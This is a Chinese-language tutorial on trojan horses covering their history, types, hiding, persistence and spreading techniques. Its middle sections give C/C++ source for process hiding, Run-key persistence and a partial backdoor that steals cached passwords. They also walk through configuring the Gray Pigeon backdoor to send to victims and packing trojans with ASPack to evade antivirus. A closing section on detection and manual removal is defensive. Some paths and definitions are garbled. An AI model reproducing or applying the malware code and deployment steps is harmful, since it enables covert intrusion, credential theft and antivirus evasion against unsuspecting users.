大家應該對"木馬"這個名詞都不陌生,很多人感覺自己的“電腦系統變慢了”,“某些文件打不開了”“打開網頁慢了”就懷疑自己是不是中"病毒木馬"了,其實這裏要給大家解釋一下,"病毒""木馬"並不是一個統一概念,本質上還是有一些區別的,木馬雖然屬於病毒中的一類,但是要單獨的從病毒類型中間剝離出來.獨立的稱之爲"木馬"程序

木馬和病毒的主要區別:

1、病毒是當已感染的軟件運行時,這些惡性程序向計算機軟件添加代碼,修改程序的工作方式,從而獲取計算機的控制權。

2、木馬是指未經用戶同意進行非授權操作的一種惡意程序。它們可能刪除硬盤上的數據,使系統癱瘓,盜取用戶資料等。木馬程序不能獨立侵入計算機,而是要依靠黑客來進行傳播,它們常常被僞裝成"正常"軟件進行散播。

3、他們最大的區別就是病毒具有感染性,而木馬一般不具有感染性,另外,病毒入侵後立刻有感覺 ,而木馬入侵後希望你沒有感覺,這樣纔有利於她"開展工作"。

好的,大家理解了木馬和病毒的區別以後,今天咱們進入正題,闡述一下"木馬程序的原理與實現"!

一、 木馬程序簡介

1、 木馬的由來和定義

由來:

先講個故事,故事發生在在三千多年的古希臘,特洛伊的王子帕里斯愛上了斯巴達國王的妻子——絕世美女海倫。王子把她帶回了特洛伊古城,這時斯巴達王非常的憤怒,他找到了自己的哥哥,邁錫尼國王阿加伽門農,請求他的的幫忙,阿伽門農正好也希望征服特洛伊,於是藉此機會建立了一支希臘聯軍討伐特洛伊古城。然後事情卻沒那麼簡單,建軍圍攻了特洛伊古城9年仍未攻下,到了第十年,將領奧德修斯想出一計,將一批勇士藏於一批巨大的木馬腹內,放在城外,大部隊則佯裝退軍。特洛伊人以爲敵軍已退,就打開城門,打掃戰場,並把敵軍留下的那隻木馬作爲戰利品帶進了城中。全程飲酒狂飲,到了夜間,全城軍民進入夢鄉,而埋伏在木馬中的勇士們跳了出來,並打開城門四處放火,城外將士一擁而入,部隊裏應外合,攻下了特洛伊城池。後代稱這隻大木馬爲"特洛伊木馬"。後來,人們在寫文章時,就常用"特洛伊木馬"這一典故比作在敵方營壘內埋下伏兵裏應外合的活動。

基礎定義:入侵者編寫入侵他人電腦並進行控制和破壞的程序,就叫做"木馬程序"。木馬與計算機網絡中常常要用到的遠程控制軟件有些相似,但由於遠程控制軟件是"善意"的控制,因此通常不具有隱蔽性;"木馬"則完全相反,木馬的目的是要達到 "偷竊"性的遠程控制,如果沒有很強的隱蔽性的話,那就是"毫無價值"的。

2、木馬的主要特點

(1)僞裝性:木馬總是僞裝成其他程序來迷惑管理員。

(2)潛伏性:木馬能夠毫無聲響地打開端口等待外部連接。

(3)隱蔽性:木馬的運行隱蔽,甚至使用任務管理器都看不出來。

(4)自動運行性:當系統啓動時自動運行。

3、木馬被入侵者用來做什麼?

(1)入侵

當基於認證和漏洞的入侵無法進行時,就需要考慮使用木馬入侵。

(2)留後門

由於木馬連接不需要系統認證並且隱蔽性好,爲了以後還能控制遠程主機,可以種木馬以留後門。

二、 木馬的工作原理

1、基本原理

木馬是一種基於遠程控制的黑客工具,一般來說,木馬程序包括客戶端和服務端兩部分。

其中,客戶端運行在入侵者的操作系統上,是入侵者控制目標主機的平臺;服務端則是運行在目標主機上,是被控制的平臺,一般發送給目標主機的就是服務端文件。

木馬主要是依靠郵件附件、軟件下載、淫穢圖片、通信軟件等途徑進行傳播,然後,木馬通過一定的提示誘使目標主機運行木馬的服務端程序,實現木馬的種植。

例如:入侵者僞裝成目標主機用戶的朋友,發送了一張捆綁有木馬的電子賀卡,當目標主機打開賀卡後,屏幕上雖然會出現賀卡的畫面,但此時木馬服務端程序已經在後臺運行了。

木馬的體積都非常小,大部分在幾KB到幾十KB之間。

當目標主機執行了服務端程序之後,入侵者便可以通過客戶端程序與目標主機的服務端建立連接,進而控制目標主機。

對於通信協議的選擇,絕大多數木馬使用的是TCP/IP協議,但也有使用UDP協議的木馬。

木馬的服務端程序會盡可能地隱蔽行蹤,同時監聽某個特定的端口,等待客戶端的連接;此外,服務端程序爲了在每次重新啓動計算機後能正常運行,還需要通過修改註冊表等方法實現自啓動功能。

2、關鍵技術

(一) 隱藏技術

1) 程序隱藏

木馬程序可以利用程序捆綁的方式,將自己和正常的exe 文件進行捆綁。當雙擊運行捆綁後的程序時,正常的exe 文件運行了。程序隱藏只能達到從表面上無法識別木馬程序的目的,但是可以通過任務管理器中發現木馬程序的蹤跡,這就需要木馬程序實現進程隱藏。

2) 進程隱藏

隱藏木馬程序的進程顯示能防止用戶通過任務管理器查看到木馬程序的進程,從而提高木馬程序的隱蔽性。主要有兩種:

API攔截屬於進程僞隱藏方式通過利用Hook技術監控並截獲系統中某些程序對進程顯示的API 函數調用,然後修改函數返回的進程信息,將自己從結果中刪除,導致任務管理器等工具無法顯示該木馬進程。

遠程線程注入屬於進程真隱藏方式 主要是利用CreateRemoteThread函數在某一個目標進程中創建遠程線程,共享目標進程的地址空間,並獲得目標進程的相關權限,從而修改目標進程內部數據和啓動DLL 木馬。

3) 通信隱藏

可以從通信連接的狀況中發現木馬程序的蹤跡。因此,很有必要實現木馬程序的通信隱藏。主要有兩種方式

端口複用技術,它讓木馬服務端程序共享其他網絡程序已打開的端口和客戶端進行連接,從而防止重新開啓端口降低隱蔽性。關鍵之處在於,木馬程序應增設一個數據包轉交判斷模塊,該模塊控制主機對數據報的轉交選擇。

利用ICMP和HTTP 協議,通常網絡防火牆和入侵檢測系統等安全設備只檢查ICMP報文的首部,對數據部分不做處理。因此,可以將木馬程序的通信數據隱藏在ICMP 報文格式的選項數據字段進行傳送,如把服務端程序向客戶端程序傳輸的數據僞裝成回顯請求報文,而把客戶端程序向服務端程序傳輸的數據僞裝成回顯應答報文。這樣,就可以通過PINGPINGRESPONSE的方式在木馬服務端程序和客戶端程序之間建立起一個高效的祕密會話信道。利用ICMP 協議傳輸數據還有一個很大的優點,即ICMP 屬於IP 層協議,它在傳輸數據時並不使用任何端口,從而具有更好的隱蔽性。

(二) 木馬自啓動技術

自啓動功能是必不可少的。自啓動可以保證木馬不會因爲用戶的一次關機操作而徹底失去作用。下面介紹經常使用的幾種方法。

1)在Win.ini中啓動

在Win.ini文件中的[Windows]字段中有啓動命令"load="和"run="。默認情況下,"="後面是空白的。這兩項分別是用來當系統啓動時自動加載和運行的程序,如果木馬程序加載到這兩項中,那麼系統啓動後即可自動地加載和運行。

2)在System.ini中啓動

在System.ini文件中的[boot]字段的shell=Explorer.exe中是木馬常用的隱藏加載的地方。木馬最慣用的伎倆就是把本應是"Explorer.exe"變成自己的程序名,名稱僞裝成幾乎與Explorer.exe一樣,只需稍稍改"Explorer"的字母"l"改爲數字"1",或者把其中的"o"改爲數字"0",這些改變如果不仔細留意是很難被人發現的。或者是shell=Explorer.exe 的後面加上木馬程序的路徑,如:shell=Explorer.exe sample.exe,這裏的sample.exe就是木馬服務端程序。

3)通過啓動組實現自啓動

啓動組是專門用來實現應用程序自啓動的地方。啓動組文件夾的位置爲"C:Documents and SettingsAll Users「開始」菜單程序啓動"。

[注:"All Users"即對所有用戶都有作用]

4)通過註冊表啓動

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun,

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce,

HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun,

HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce

5)修改文件關聯

修改文件關聯是木馬常用手段。

例如:在正常情況下,txt文件的打開方式爲notepad.exe文件,但一旦中了文件關聯木馬,則txt文件打開方式就會被修改爲用木馬程序打開。例如著名的國產木馬冰河就是這樣。

6)捆綁文件

入侵者可以通過一些黑客軟件,如著名的Deception Binder,完成文件的捆綁,之後將這些捆綁文件放到網站、FTP、BT等資源下載場所,當用戶下載並執行捆綁文件,同時就啓動了木馬的服務端程序。

(三) 木馬植入技術

1)圖標僞裝

黑客爲了迷惑用戶,將木馬服務端程序的圖標換成一些常見的文件類型的圖標。

2)文件捆綁欺騙

文件捆綁就是通過使用文件捆綁器將木馬服務端和正常的文件捆綁在一起,達到欺騙對方從而運行捆綁的木馬程序的目的。

例如,把木馬服務端和某個遊戲,或者flash文件捆綁成一個文件通過QQ或郵件發送給受害者。當受害者對這個遊戲或flash感興趣而下載到機器上,並開打了該文件,木馬程序就會悄悄運行。

3)定製端口

很多老式的木馬端口都是固定的,只要查一下特定的端口就知道感染了什麼木馬。現在很多新式的木馬都加入了定製端口的功能,控制端用戶可以在1024~65535之間任選一個端口作爲木馬端口,一般不選1024以下的端口,這就給判斷所感染的木馬類型帶來了麻煩。

4)擴展名欺騙

例如,圖像文件的擴展名不可能是.exe,而木馬程序的擴展名又必定是.exe,大多數用戶在看到擴展名爲".exe"的文件時,就會很小心。於是設計者就將文件名進行一些改變,例如將"picture.tiff"更改爲"pitcture.tiff.exe",因爲windows默認是不顯示擴展名的,於是用戶就只能看到"picture.tiff",很容易將其作爲一個圖片文件而啓動。

三、 木馬的演變與種類

1、木馬的演變

從木馬的發展來看,把木馬分爲五代。

1)第一代木馬

第一代的木馬功能相當簡單,典型的有back orifice(簡稱:BO)、netSpy等,早就退出了歷史的舞臺。

第一代windows木馬只是一個將自己僞裝成特殊的程序或文件的軟件,如僞裝成一個用戶登錄窗口,當用戶運行了木馬僞裝的登錄窗口,輸入用戶名和密碼後,木馬將自動記錄數據並轉發給入侵者。

2)第二代木馬

提供了幾乎所有能夠進行的遠程控制操作。國內最具代表性的就是冰河木馬和廣外女生。

3)第三代木馬

繼續完善了連接與文件傳輸技術,並增加了木馬穿透防火牆的功能,並出現了"反彈端口"技術,如國內的灰鴿子木馬軟件。

4)第四代木馬

利用了遠程線程插入技術,將木馬線程插入DLL線程中,使系統更加難以發現木馬的存在與入侵的連接方式。

5)第五代木馬

相對於第四代木馬,功能更加全面。而且應用DLL技術後在目標主機的計算機中不生成新的文件。

2、木馬的種類

1)破壞型

破壞並刪除文件,自動刪除電腦上的dll、EXE等文件,以達到使被感染的電腦癱瘓的目的。

2)密碼發送型

密碼發送型的木馬正是專門爲了盜取被感染計算機上的密碼而編寫的,該木馬一旦被執行,就會自動搜索內存,Cache,臨時文件夾以及各種敏感密碼文件,一旦搜索到有用的密碼,木馬就會利用免費的電子郵件服務將密碼發送到指定的郵箱。從而達到獲取密碼的目的,所以這類木馬大多使用25號端口發送E-mail。

3)遠程訪問型

遠程訪問型木馬程序一般包括客戶端程序和服務端程序,在目標主機上執行了服務端程序之後,只要用戶知道目標主機的IP地址或主機名,就可以與目標主機連接,連接成功後,用戶通過客戶端程序提供的遠程操作功能就可以實現對目標主機的監視與控制。

大名鼎鼎的木馬冰河就是一個遠程訪問型特洛伊木馬。

4)鍵盤記錄木馬

記錄目標主機用戶的鍵盤操作且將鍵盤操作記錄在文件中,入侵者可以獲取這些文件並在文件中獲取諸如密碼等有用的信息。

對於這種類型的木馬,郵件發送功能也是必不可少的。

5)Dos攻擊木馬

Dos全名是Denial of service(拒絕服務)。它故意攻擊網絡協議的缺陷或直接通過某種手段耗盡被攻擊對象的資源,目的是讓目標計算機或網絡無法提供正常的服務或資源訪問,使目標系統服務停止響應甚至崩潰。

當黑客侵入一臺計算機並種上了DOS攻擊木馬後,日後這臺計算機就成了黑客DOS攻擊的最得力的幫手。黑客控制的計算機數量越多,發動DOS攻擊取得成功的概率就越大,所以,這種木馬的危害不是體現在被感染的計算機上,而是體現在攻擊者可以利用它來攻擊網絡上的其他的計算機。

全名是 (),很多攻擊源一起攻擊某臺服務器就組成了DDOS攻擊。

6)代理木馬

給被控制的肉雞種上代理木馬,讓其變成入侵者發動攻擊的跳板就是代理木馬最重要的任務。通過代理木馬,入侵者可以在匿名的情況下使用Telnet等程序,從而隱蔽自己的蹤跡。

7)FTP木馬

這種木馬可能是最簡單和古老的木馬了,它的惟一功能就是打開21端口,等待用戶連接。現在新FTP木馬還加上了密碼功能,這樣,只有攻擊者本人才知道正確的密碼,從而進入對方的計算機。

8)程序殺手木馬

常見的查殺木馬軟件有瑞星,Norton Anti-Virus及木馬清除大師等。程序殺手木馬的功能就是關閉目標機器上運行的木馬查殺程序,讓木馬更好地發揮作用。

9)反彈端口型木馬

木馬開發者在分析了防火牆的特性後發現 :防火牆對於連入的鏈接往往會進行非常嚴格的過濾,但是對於連出的鏈接卻疏於防範。

於是,與一般的木馬相反,反彈端口型木馬在服務端 (被控制端)使用主動端口,客戶端 (控制端)使用被動端口。

木馬定時監測客戶端(控制端)的存在,發現客戶端(控制端)上線立即主動連接控制端打開的主動端口;

爲了隱蔽起見,客戶端 (控制端)的被動端口一般設置爲80(瀏覽網頁必須開的端口),這樣,即使用戶使用端口掃描軟件檢查自己的端口,發現的也是類似TCP UserIP:1026 ControllerIP:80 ESTABLISHED的情況,不明真相的用戶就會以爲自己在瀏覽網頁,並且,防火牆一般不會禁止用戶向外連接80端口。

主流木馬:

四、 木馬程序的實現

1、木馬中的關鍵技術實現(附源碼)

1) 木馬程序隱藏技術

通過註冊服務程序,實現進程僞隱藏的方法:

WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

{

try

{

DWORD dwVersion = GetVersion();//取得Windows的版本號

if (dwVersion >= 0x80000000) // Windows 9x隱藏任務列表

{

int (CALLBACK *rsp)(DWORD,DWORD);

HINSTANCE dll=LoadLibrary("KERNEL32.DLL");//裝入KERNEL32.DLL

rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");//找到RegisterServiceProcess的入口

rsp(NULL,1);//註冊服務

FreeLibrary(dll);//釋放DLL模塊

}

}

catch (Exception &exception)//處理異常事件

{

//處理異常事件

}

return 0;

} 

2)程序的自啓動運行技術

展示一段通過修改HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run鍵值來實現自啓動的程序:

HKEY hkey;

AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">//")+PName

unsigned long k;

k=REG_OPENED_EXISTING_KEY;

RegCreateKeyEx(HKEY_LOCAL_MACHINE,

"SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN//",

0L,

NULL,

REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,

NULL,

&hkey,&k);

RegSetValueEx(hkey,

"BackGroup",

0,

REG_SZ,

NewProgramName.c_str(),

NewProgramName.Length());

RegCloseKey(hkey);

if (int(ShellExecute(Handle,

"open",

NewProgramName.c_str(),

NULL,

NULL,

SW_HIDE))>32)

{

WantClose=true;

Close();

}

else

{

HKEY hkey;

unsigned long k;

k=REG_OPENED_EXISTING_KEY;

long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,

"SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",

0,

NULL,

REG_OPTION_NON_VOLATILE,

KEY_SET_VALUE,NULL,

&hkey,&k);

RegSetValueEx(hkey,

"BackGroup",

0,

REG_SZ,

ProgramName.c_str(),

ProgramName.Length());

int num=0;

char str[20];

DWORD lth=20;

DWORD type;

char strv[255];

DWORD vl=254;

DWORD Suc;

do{

Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

(DWORD)num,str,

NULL,

&type,

strv,&vl);

if (strcmp(str,"BGroup")==0)

{

DeleteFile(AnsiString(strv));

RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");

break;

}

}while(Suc== ERROR_SUCCESS);

RegCloseKey(hkey);

}

2、 WINSOCK編程完成一個簡單"木馬程序"實現(附源碼)

用異步SOCKET方式, 直接調用WINSOCK API,WIN SDK寫的木馬(VC,C++ BUILDER下均編譯,調試通過),無須客戶端,編譯後才幾十K.實現了些 主要功能,文件瀏覽,上傳,下載(均支持統配符),改變目錄,獲取系統信息,從CACHE取密碼, 執行文件,顯示進程, 發送消息,關機, 還有些控制功能。

源代碼如下:

#include <windows.h>

#include <winsock.h>

#include <mmsystem.h>

#pragma hdrstop

#include <condefs.h>

#pragma argsused

#define RUN "//WinMon32.exe"

//註冊服務

#define SERVICE_PROC 1

//卸載服務

#define UNSERVICE_PROC 0

#define TH32CS_SNAPPROCESS 0x00000002

#define PROCESS_HANDLE_NAME 255

//緩衝區長度

#define dwBuffSize 2048

//命令行長度

#define dwComm 50

#define PORT 9102

#define WM_SOCKET WM_USER+1

#define PROMPT "LanLan://>"

DWORD dwVersion=MAKEWORD(1,1);

DWORD dwFlag=TRUE;

WSADATA wsaData;

SOCKET CreateSock,NewSock;

SOCKADDR_IN Sock_in,NewSock_in;

LPTSTR szReadBuff,Ob,TempBuff;

int addrlen;

//CACHE PASSWORD結構

typedef struct tagPASSWORD_CACHE_ENTRY {

WORD cbEntry;

WORD cbResource;

WORD cbPassword;

BYTE iEntry;

BYTE nType;

char abResource[1];

} PASSWORD_CACHE_ENTRY;

typedef BOOL (WINAPI *CACHECALLBACK)(PASSWORD_CACHE_ENTRY *pce,DWORD);

//CACHE PASSWORD函數原形

typedef WORD (WINAPI *PWNetEnumCachedPasswords)(

LPSTR pbPrefix,

DWORD cbPrefix,

DWORD nType,

CACHECALLBACK pfnCallback,

DWORD UNKNOWN

);

//TOOLHELP32 結構

typedef struct tagPROCESSENTRY32

{

DWORD dwSize;

DWORD cntUsage;

DWORD th32ProcessID;

DWORD th32DefaultHeapID;

DWORD th32ModuleID;

DWORD cntThreads;

DWORD th32ParentProcessID;

LONG pcPriClassBase;

DWORD dwFlags;

TCHAR szExeFile[MAX_PATH];

} PROCESSENTRY32;

typedef PROCESSENTRY32 * LPPROCESSENTRY32;

注:由於文章篇幅限制剩餘源碼可以私信我單獨發送

3、利用"灰鴿子"工具軟件製作木馬

灰鴿子簡介: 灰鴿子是國內一款著名後門。比起前輩冰河、黑洞來,灰鴿子可以說是國內後門的集大成者。其豐富而強大的功能、靈活多變的操作、良好的隱藏性使其他後門都相形見絀。客戶端簡易便捷的操作使剛入門的初學者都能充當黑客。當使用在合法情況下時,灰鴿子是一款優秀的遠程控制軟件。但如果拿它做一些非法的事,灰鴿子就成了很強大的黑客工具。

方法如下:

首先,在電腦上安裝灰鴿子,然後進入其主頁面

接下來我們點自動上線FTP服務器就是你FTP空間的地址

下來點配置服務程序,先點自動上線設置,IP通知那裏添上你FTP在HTTP的訪問地址加上你放IP文件的地址

最終我們要把服務器配置成功

這時你只要將自己生成的木馬給別人運行就可以了,這樣他就會上線如下圖

如果設了密碼就要輸入連接密碼哦

五、如何給易被查殺的木馬"加殼"

大家知道現在的病毒查殺軟件對已知的木馬程序很容易就查殺掉,所以當你好不容易製作的木馬傳播出去後,輕鬆就被客戶端查殺掉了,這時我們就要利用加殼技術,給木馬套個"殼"防止被殺

1、什麼是加殼?

加殼:是一種通過一系列數學運算,將可執行程序文件(EXE)或動態鏈接庫文件(DLL)的編碼進行改變(目前加殼軟件還可以壓縮、加密),以達到縮小文件體積或加密程序編碼的目的。當被加殼的程序運行時,外殼程序先被執行,然後由這個外殼程序負責將用戶原有的程序在內存中解壓縮,並把控制權交還給脫殼後的真正程序。

常見到的壓縮殼"UPX"、"北斗程序壓縮"、"ASPack"等,加密殼有"PE-Armor"、"ASProtect"等等。

2、利用ASPack加殼防止木馬被查殺:

步驟1:下載並運行ASPack2.28軟件,即可打開ASPack 2.28主窗口,如圖1-69所示。在"選項"選項卡中勾選"壓縮資源"、"加載後立即運行"及"使用Windows DLL 加載器"等複選項,如下圖所示:

步驟2:選擇"打開文件"選項卡,單擊"打開"按鈕,即可打開"選擇要壓縮的文件"對話框,在其中選擇需要加殼的文件,如下圖所示。

步驟3:單擊"打開"按鈕,即可開始進行壓縮,如下圖所示。在"壓縮"選項卡中可進行壓縮、測試操作,並在完成之後生成加殼後的文件。

使用方法比較簡單,可以自行測試一下效果!

六、如何識別與查殺木馬程序

識別方法:

1、檢查網絡連接情況

由於不少木馬會主動偵聽端口,或者會連接特定的IP和端口,所以我們可以在沒有正常程序連接網絡的情況下,通過檢查網絡連情情況來發現木馬的存在。

具體的步驟是點擊"開始" "運行" "cmd",然後輸入netstat -an這個命令能看到所有和自己電腦建立連接的IP以及自己電腦偵聽的端口,它包含四個部分——proto(連接方式)、local address(本地連接地址)、foreign address(和本地建立連接的地址)、state(當前端口狀態)。通過這個命令的詳細信息,我們就可以完全監控電腦的網絡連接情況。

2、查看目前運行的服務

服務是很多木馬用來保持自己在系統中永遠能處於運行狀態的方法之一。我們可以通過點擊"開始" "運行" "cmd",然後輸入"net start"來查看系統中究竟有什麼服務在開啓,如果發現了不是自己開放的服務,我們可以進入"服務"管理工具中的"服務",找到相應的服務,停止並禁用它。

3、檢查系統啓動項

由於註冊表對於普通用戶來說比較複雜,木馬常常喜歡隱藏在這裏。檢查註冊表啓動項的方法如下:點擊"開始" "運行" "regedit",然後檢查HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion下所有以"run"開頭的鍵值;HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion下所有以"run"開頭的鍵值;HKEY-USERS.DefaultSoftwareMicrosoftWindowsCurrentVersion下所有以"run"開頭的鍵值。

Windows安裝目錄下的System.ini也是木馬喜歡隱蔽的地方。打開這個文件看看,在該文件的[boot]字段中,是不是有shell=Explorer.exe file.exe這樣的內容,如有這樣的內容,那這裏的file.exe就是木馬程序了!

4、檢查系統帳戶

惡意的攻擊者喜在電腦中留有一個賬戶的方法來控制你的計算機。他們採用的方法就是激活一個系統中的默認賬戶,但這個賬戶卻很少用的,然後把這個賬戶的權限提升爲管理員權限,這個帳戶將是系統中最大的安全隱患。惡意的攻擊者可以通過這個賬戶任意地控制你的計算機。針對這種情況,可以用以下方法對賬戶進行檢測。

點擊"開始";"運行" "cmd",然後在命令行下輸入net user,查看計算機上有些什麼用戶,然後再使用"net user 用戶名"查看這個用戶是屬於什麼權限的,一般除了Administrator是administrators組的,其他都不應該屬於administrators組,如果你發現一個系統內置的用戶是屬於administrators組的,那幾乎可以肯定你被入侵了。快使用"net user用戶名/del"來刪掉這個用戶吧!

5、利用系統進程識別木馬

任何病毒和木馬存在於系統中,都無法徹底和進程脫離關係,即使採用了隱藏技術,也還是能夠從進程中找到蛛絲馬跡,因此,查看系統中活動的進程成爲我們檢測病毒木馬最直接的方法。

木馬常利用的系統進程有:svchost.exe、explorer.exe、iexplore.exe、winLOGOn.exe等進程。

(1)svchost.exe

常被病毒冒充的進程名有:svch0st.exe、schvost.exe、scvhost.exe。隨着Windows系統服務不斷增多,爲了節省系統資源,微軟把很多服務做成共享方式,交由svchost.exe進程來啓動。而系統服務是以動態鏈接庫(DLL)形式實現的,它們把可執行程序指向scvhost,由cvhost調用相應服務的動態鏈接庫來啓動服務。

我們可以打開"控制面板"→"治理工具"→服務,雙擊其中"ClipBook"服務,在其屬性面板中可以發現對應的可執行文件路徑爲"C:WINDOWSsystem32clipsrv.exe"。再雙擊"Alerter"服務,可以發現其可執行文件路徑爲"C:WINDOWSsystem32svchost.exe -k LocalService",而"Server"服務的可執行文件路徑爲"C:WINDOWSsystem32svchost.exe -k netsvcs"。正是通過這種調用,可以省下不少系統資源,因此係統中出現多個svchost.exe,其實只是系統的服務而已。

在Windows系統中一般存在2個svchost.exe進程,一個是RPCSS(RemoteProcedureCall)服務進程,另外一個則是由很多服務共享的一個svchost.exe;而在WindowsXP中,則一般有4個以上的svchost.exe服務進程。假如svchost.exe進程的數量多於5個,就要小心了,很可能是病毒假冒的,檢測方法也很簡單,使用一些進程治理工具,例如Windows優化大師的進程治理功能,查看svchost.exe的可執行文件路徑,假如在"C:WINDOWSsystem32"目錄外,那麼就可以判定是病毒了。

(2)explorer.exe

常被病毒冒充的進程名有:iexplorer.exe、expiorer.exe、explore.exe。explorer.exe就是我們經常會用到的"資源治理器"。假如在"任務治理器"中將explorer.exe進程結束,那麼包括任務欄、桌面、以及打開的文件都會統統消失,單擊"任務治理器"→"文件"→"新建任務",輸入"explorer.exe"後,消失的東西又重新回來了。explorer.exe進程的作用就是讓我們治理計算機中的資源。

explorer.exe進程默認是和系統一起啓動的,其對應可執行文件的路徑爲"C:Windows"目錄,除此之外則爲病毒。

(3)iexplore.exe

常被病毒冒充的進程名有:iexplorer.exe、iexploer.exeiexplorer.exe進程和上文中的explorer.exe進程名很相像,因此比較輕易搞混,其實iexplorer.exe是Microsoft Internet Explorer所產生的進程,也就是我們平時使用的IE瀏覽器。知道作用後辨認起來應該就比較輕易了,iexplorer.exe進程名的開頭爲"ie",就是IE瀏覽器的意思。

iexplore.exe進程對應的可執行程序位於C:ProgramFilesInternetExplorer目錄中,存在於其他目錄則爲病毒,除非你將該文件夾進行了轉移。此外,有時我們會發現沒有打開IE瀏覽器的情況下,系統中仍然存在iexplore.exe進程,這要分兩種情況:

1) 病毒假冒iexplore.exe進程名。

2) 病毒偷偷在後臺通過iexplore.exe幹壞事。

(4)rundll32.exe

常被病毒冒充的進程名有:rundl132.exe、rundl32.exe。rundll32.exe在系統中的作用是執行DLL文件中的內部函數,系統中存在多少個Rundll32.exe進程,就表示Rundll32.exe啓動了多少個的DLL文件。其實rundll32.exe我們是會經常用到的,他可以控制系統中的一些dll文件,舉個例子,在"命令提示符"中輸入"rundll32.exe user32.dll,LockWorkStation",回車後,系統就會快速切換到登錄界面了。rundll32.exe的路徑爲"C:Windowssystem32",在別的目錄則可以判定是病毒。

(5)spoolsv.exe

常被病毒冒充的進程名有:spoo1sv.exe、spolsv.exe。spoolsv.exe是系統服務"Print Spooler"所對應的可執行程序,其作用是治理所有本地和網絡打印隊列及控制所有打印工作。假如此服務被停用,計算機上的打印將不可用,同時spoolsv.exe進程也會從計算機上消失。假如你不存在打印機設備,那麼就把這項服務關閉吧,可以節省系統資源。停止並關閉服務後,假如系統中還存在spoolsv.exe進程,這就一定是病毒僞裝的了。

查殺方法:

手工查殺:

1、運行任務管理器,殺掉木馬進程。

2、檢查註冊表中RUN、RUNSERVEICE等幾項,先備份,記下可以啓動項的地址, 再將可疑的刪除。

3、刪除上述可疑鍵在硬盤中的執行文件。

4、一般這種文件都在WINNT,SYSTEM,SYSTEM32這樣的文件夾下,他們一般不會單獨存在,很可能是有某個母文件複製過來的,檢查C、D、E等盤下有沒有可疑的.exe,.com或.bat文件,有則刪除之。

5、檢查註冊表HKEY_LOCAL_MACHINE和HKEY_CURRENT_USERSOFTWAREMicrosoftInternet ExplorerMain中的幾項(如Local Page),如果被修改了,改回來就可以。

6、檢查HKEY_CLASSES_ROOT xtfileshellopencommand和 HKEY_CLASSES_ROOTxtfileshellopencommand等等幾個常用文件類型的默認打開程序是否被更改。這個一定要改回來。很多病毒就是通過修改.txt文件的默認打開程序讓病毒在用戶打開文本文件時加載的。

利用工具查殺:

查殺木馬好用的工具有LockDown、The Clean、木馬克星、金山木馬專殺、木馬清除大師、木馬分析專家等,利用這些工具絕大多數的已知木馬都可以查殺掉。

相關文章